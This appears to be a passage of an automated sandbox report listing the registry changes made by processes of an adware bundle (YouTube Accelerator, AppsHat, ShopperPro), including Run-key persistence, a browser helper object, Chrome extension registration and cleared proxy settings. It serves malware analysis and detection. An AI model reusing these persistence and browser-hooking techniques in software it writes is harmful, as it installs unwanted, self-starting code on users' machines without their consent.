[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "46 11 00 D9 D5 4F D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process wpm_v20.0.0.1714_0204.exe:488 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4A 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process appshat_generic.exe:796 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "8D 53 C3 EA D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoRepair" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\422.json, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images\code, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\images, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\422.db, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\RegWrite.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\STab_Down_6.0.6.8.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\tmp\wpm_v20.0.0.1714_0204.exÃ‰â€“"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "5E D6 1B EE D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayName" = "AppsHat Mobile Apps"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"Publisher" = "Somoto Ltd."
"DisplayVersion" = "1.0.0.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat Mobile Apps]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\Uninstall.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "5E D6 1B EE D5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\AppsHat]

The Application deletes the following value(s) in system registry:

The process testlsp.exe:628 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1424743306"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "46 11 00 D9 D5 4F D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1424743306"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 49 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"
"TimeLimit" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process powershell.exe:2344 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:916 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3748 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:3592 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\AccDownload.dll,"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\ShopperPro]
"UninstallString" = "%Program Files% (x86)\ShopperPro\SPremove.exe"
"DisplayName" = "Shopper-Pro"
"DisplayIcon" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\ShopperPro.exe]
"(Default)" = "%Program Files% (x86)\ShopperPro\ShopperPro.exe"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process setup.exe:2408 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "07 C3 5D CF D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp726153\422.json,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 44 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "ED 42 D3 D2 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "ED 42 D3 D2 D5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process STab_Down_6.0.6.8.exe:3600 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process cmdshell.exe:3164 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process jsdrv.exe:3420 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\JsDriver\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "ED 42 D3 D2 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 46 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

"WpadDecisionTime" = "26 61 C2 D4 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "26 61 C2 D4 D5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process ShopperPro.exe:2220 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"UserId" = "78116d2d-d3b5-4062-b3b8-b2539525da70"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"NoExplore" = "1"

[HKLM\SOFTWARE\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"Aff" = "smtycl"

[HKLM\SOFTWARE\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "07 C3 5D CF D5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ExeLocation" = "%Program Files% (x86)\ShopperPro"
"Version" = "2.5.8305.1508"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "ED C1 BC D1 D5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DBLocation" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"CONFIGLOCATION" = "C:\ProgramData\ShopperPro"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"ChromeExtFile" = "ShopperPro.crx"
"ChromeExtID" = "ojhagnahfpegocdhlopgljpaafeogmcc"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{A5A51D2A-505A-4D84-AFC6-E0FA87E47B8C}]
"(Default)" = "ShopperProBHO"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro]
"DriverVersion" = "1508.0.0.0"

[HKLM\SOFTWARE\Wow6432Node\ShopperPro\ExtraInfo]
"DBVersion" = "1.0.0.9"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "ED C1 BC D1 D5 4F D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"SPDriver" = "%Program Files% (x86)\ShopperPro\JSDriver\1508.0.0.0\jsdrv.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
